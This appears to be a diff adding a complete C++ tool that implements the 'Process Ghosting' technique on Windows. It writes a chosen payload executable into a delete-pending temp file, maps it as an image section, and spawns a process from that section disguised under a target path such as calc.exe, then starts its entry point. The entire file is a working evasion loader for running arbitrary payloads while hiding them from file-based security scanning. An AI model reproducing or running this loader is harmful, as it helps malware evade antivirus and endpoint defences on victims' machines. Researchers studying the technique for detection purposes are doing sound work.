|
| 1 | +#include <Windows.h> |
| 2 | + |
| 3 | +#include <iostream> |
| 4 | +#include <stdio.h> |
| 5 | + |
| 6 | +#include "ntddk.h" |
| 7 | +#include "ntdll_undoc.h" |
| 8 | +#include "util.h" |
| 9 | + |
| 10 | +#include "pe_hdrs_helper.h" |
| 11 | +#include "process_env.h" |
| 12 | +#pragma comment(lib, "Ntdll.lib") |
| 13 | + |
| 14 | +HANDLE open_file(wchar_t* filePath) |
| 15 | +{ |
| 16 | + // convert to NT path |
| 17 | + std::wstring nt_path = L"\\??\\" + std::wstring(filePath); |
| 18 | + |
| 19 | + UNICODE_STRING file_name = { 0 }; |
| 20 | + RtlInitUnicodeString(&file_name, nt_path.c_str()); |
| 21 | + |
| 22 | + OBJECT_ATTRIBUTES attr = { 0 }; |
| 23 | + InitializeObjectAttributes(&attr, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL); |
| 24 | + |
| 25 | + IO_STATUS_BLOCK status_block = { 0 }; |
| 26 | + HANDLE file = INVALID_HANDLE_VALUE; |
| 27 | + NTSTATUS stat = NtOpenFile(&file, DELETE | GENERIC_READ | GENERIC_WRITE, &attr, &status_block, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE); |
| 28 | + if (!NT_SUCCESS(stat)) { |
| 29 | + std::cout << "Failed to open, status: " << std::hex << stat << std::endl; |
| 30 | + return INVALID_HANDLE_VALUE; |
| 31 | + } |
| 32 | + std::wcout << "[+] Created temp path: " << filePath << "\n"; |
| 33 | + return file; |
| 34 | +} |
| 35 | + |
| 36 | +HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize) |
| 37 | +{ |
| 38 | + HANDLE hDelFile = open_file(filePath); |
| 39 | + if (!hDelFile || hDelFile == INVALID_HANDLE_VALUE) { |
| 40 | + std::cerr << "Failed to create file" << std::dec << GetLastError() << std::endl; |
| 41 | + return INVALID_HANDLE_VALUE; |
| 42 | + } |
| 43 | + NTSTATUS status = 0; |
| 44 | + IO_STATUS_BLOCK status_block = { 0 }; |
| 45 | + |
| 46 | + /* Set disposition flag */ |
| 47 | + FILE_DISPOSITION_INFORMATION info = { 0 }; |
| 48 | + info.DeleteFile = TRUE; |
| 49 | + |
| 50 | + status = NtSetInformationFile(hDelFile, &status_block, &info, sizeof(info), FileDispositionInformation); |
| 51 | + if (!NT_SUCCESS(status)) |
| 52 | + { |
| 53 | + std::cout << "Setting information failed: " << std::hex << status << "\n"; |
| 54 | + return INVALID_HANDLE_VALUE; |
| 55 | + } |
| 56 | + std::cout << "[+] Information set\n"; |
| 57 | + |
| 58 | + LARGE_INTEGER ByteOffset = { 0 }; |
| 59 | + |
| 60 | + status = NtWriteFile( |
| 61 | + hDelFile, |
| 62 | + NULL, |
| 63 | + NULL, |
| 64 | + NULL, |
| 65 | + &status_block, |
| 66 | + payladBuf, |
| 67 | + payloadSize, |
| 68 | + &ByteOffset, |
| 69 | + NULL |
| 70 | + ); |
| 71 | + if (!NT_SUCCESS(status)) { |
| 72 | + DWORD err = GetLastError(); |
| 73 | + std::cerr << "Failed writing payload! Error: " << std::hex << err << std::endl; |
| 74 | + return INVALID_HANDLE_VALUE; |
| 75 | + } |
| 76 | + std::cout << "[+] Written!\n"; |
| 77 | + |
| 78 | + HANDLE hSection = nullptr; |
| 79 | + status = NtCreateSection(&hSection, |
| 80 | + SECTION_ALL_ACCESS, |
| 81 | + NULL, |
| 82 | + 0, |
| 83 | + PAGE_READONLY, |
| 84 | + SEC_IMAGE, |
| 85 | + hDelFile |
| 86 | + ); |
| 87 | + if (status != STATUS_SUCCESS) { |
| 88 | + std::cerr << "NtCreateSection failed: " << std::hex << status << std::endl; |
| 89 | + return INVALID_HANDLE_VALUE; |
| 90 | + } |
| 91 | + NtClose(hDelFile); |
| 92 | + hDelFile = nullptr; |
| 93 | + |
| 94 | + return hSection; |
| 95 | +} |
| 96 | + |
| 97 | +bool process_ghost(wchar_t* targetPath, BYTE* payladBuf, DWORD payloadSize) |
| 98 | +{ |
| 99 | + wchar_t dummy_name[MAX_PATH] = { 0 }; |
| 100 | + wchar_t temp_path[MAX_PATH] = { 0 }; |
| 101 | + DWORD size = GetTempPathW(MAX_PATH, temp_path); |
| 102 | + GetTempFileNameW(temp_path, L"TH", 0, dummy_name); |
| 103 | + |
| 104 | + HANDLE hSection = make_section_from_delete_pending_file(dummy_name, payladBuf, payloadSize); |
| 105 | + if (!hSection || hSection == INVALID_HANDLE_VALUE) { |
| 106 | + return false; |
| 107 | + } |
| 108 | + HANDLE hProcess = nullptr; |
| 109 | + NTSTATUS status = NtCreateProcessEx( |
| 110 | + &hProcess, //ProcessHandle |
| 111 | + PROCESS_ALL_ACCESS, //DesiredAccess |
| 112 | + NULL, //ObjectAttributes |
| 113 | + NtCurrentProcess(), //ParentProcess |
| 114 | + PS_INHERIT_HANDLES, //Flags |
| 115 | + hSection, //sectionHandle |
| 116 | + NULL, //DebugPort |
| 117 | + NULL, //ExceptionPort |
| 118 | + FALSE //InJob |
| 119 | + ); |
| 120 | + if (status != STATUS_SUCCESS) { |
| 121 | + std::cerr << "NtCreateProcessEx failed! Status: " << std::hex << status << std::endl; |
| 122 | + if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH) { |
| 123 | + std::cerr << "[!] The payload has mismatching bitness!" << std::endl; |
| 124 | + } |
| 125 | + return false; |
| 126 | + } |
| 127 | + |
| 128 | + PROCESS_BASIC_INFORMATION pi = { 0 }; |
| 129 | + |
| 130 | + DWORD ReturnLength = 0; |
| 131 | + status = NtQueryInformationProcess( |
| 132 | + hProcess, |
| 133 | + ProcessBasicInformation, |
| 134 | + &pi, |
| 135 | + sizeof(PROCESS_BASIC_INFORMATION), |
| 136 | + &ReturnLength |
| 137 | + ); |
| 138 | + if (status != STATUS_SUCCESS) { |
| 139 | + std::cerr << "NtQueryInformationProcess failed" << std::endl; |
| 140 | + return false; |
| 141 | + } |
| 142 | + PEB peb_copy = { 0 }; |
| 143 | + if (!buffer_remote_peb(hProcess, pi, peb_copy)) { |
| 144 | + return false; |
| 145 | + } |
| 146 | + ULONGLONG imageBase = (ULONGLONG) peb_copy.ImageBaseAddress; |
| 147 | +#ifdef _DEBUG |
| 148 | + std::cout << "ImageBase address: " << (std::hex) << (ULONGLONG)imageBase << std::endl; |
| 149 | +#endif |
| 150 | + DWORD payload_ep = get_entry_point_rva(payladBuf); |
| 151 | + ULONGLONG procEntry = payload_ep + imageBase; |
| 152 | + |
| 153 | + if (!setup_process_parameters(hProcess, pi, targetPath)) { |
| 154 | + std::cerr << "Parameters setup failed" << std::endl; |
| 155 | + return false; |
| 156 | + } |
| 157 | + std::cout << "[+] Process created! Pid = " << GetProcessId(hProcess) << "\n"; |
| 158 | +#ifdef _DEBUG |
| 159 | + std::cerr << "EntryPoint at: " << (std::hex) << (ULONGLONG)procEntry << std::endl; |
| 160 | +#endif |
| 161 | + HANDLE hThread = NULL; |
| 162 | + status = NtCreateThreadEx(&hThread, |
| 163 | + THREAD_ALL_ACCESS, |
| 164 | + NULL, |
| 165 | + hProcess, |
| 166 | + (LPTHREAD_START_ROUTINE) procEntry, |
| 167 | + NULL, |
| 168 | + FALSE, |
| 169 | + 0, |
| 170 | + 0, |
| 171 | + 0, |
| 172 | + NULL |
| 173 | + ); |
| 174 | + |
| 175 | + if (status != STATUS_SUCCESS) { |
| 176 | + std::cerr << "NtCreateThreadEx failed: " << GetLastError() << std::endl; |
| 177 | + return false; |
| 178 | + } |
| 179 | + |
| 180 | + return true; |
| 181 | +} |
| 182 | + |
| 183 | +int wmain(int argc, wchar_t *argv[]) |
| 184 | +{ |
| 185 | +#ifdef _WIN64 |
| 186 | + const bool is32bit = false; |
| 187 | +#else |
| 188 | + const bool is32bit = true; |
| 189 | +#endif |
| 190 | + if (argc < 2) { |
| 191 | + std::cout << "Process Ghosting ("; |
| 192 | + if (is32bit) std::cout << "32bit"; |
| 193 | + else std::cout << "64bit"; |
| 194 | + std::cout << ")\n"; |
| 195 | + std::cout << "params: <payload path> [*target path]\n" << std::endl; |
| 196 | + std::cout << "* - optional" << std::endl; |
| 197 | + system("pause"); |
| 198 | + return 0; |
| 199 | + } |
| 200 | + if (init_ntdll_func() == false) { |
| 201 | + return -1; |
| 202 | + } |
| 203 | + wchar_t defaultTarget[MAX_PATH] = { 0 }; |
| 204 | + get_calc_path(defaultTarget, MAX_PATH, is32bit); |
| 205 | + wchar_t *targetPath = defaultTarget; |
| 206 | + if (argc >= 3) { |
| 207 | + targetPath = argv[2]; |
| 208 | + } |
| 209 | + wchar_t *payloadPath = argv[1]; |
| 210 | + size_t payloadSize = 0; |
| 211 | + |
| 212 | + BYTE* payladBuf = buffer_payload(payloadPath, payloadSize); |
| 213 | + if (payladBuf == NULL) { |
| 214 | + std::cerr << "Cannot read payload!" << std::endl; |
| 215 | + return -1; |
| 216 | + } |
| 217 | + |
| 218 | + bool is_ok = process_ghost(targetPath, payladBuf, (DWORD) payloadSize); |
| 219 | + |
| 220 | + free_buffer(payladBuf, payloadSize); |
| 221 | + if (is_ok) { |
| 222 | + std::cerr << "[+] Done!" << std::endl; |
| 223 | + } else { |
| 224 | + std::cerr << "[-] Failed!" << std::endl; |
| 225 | +#ifdef _DEBUG |
| 226 | + system("pause"); |
| 227 | +#endif |
| 228 | + return -1; |
| 229 | + } |
| 230 | +#ifdef _DEBUG |
| 231 | + system("pause"); |
| 232 | +#endif |
| 233 | + return 0; |
| 234 | +} |
0 commit comments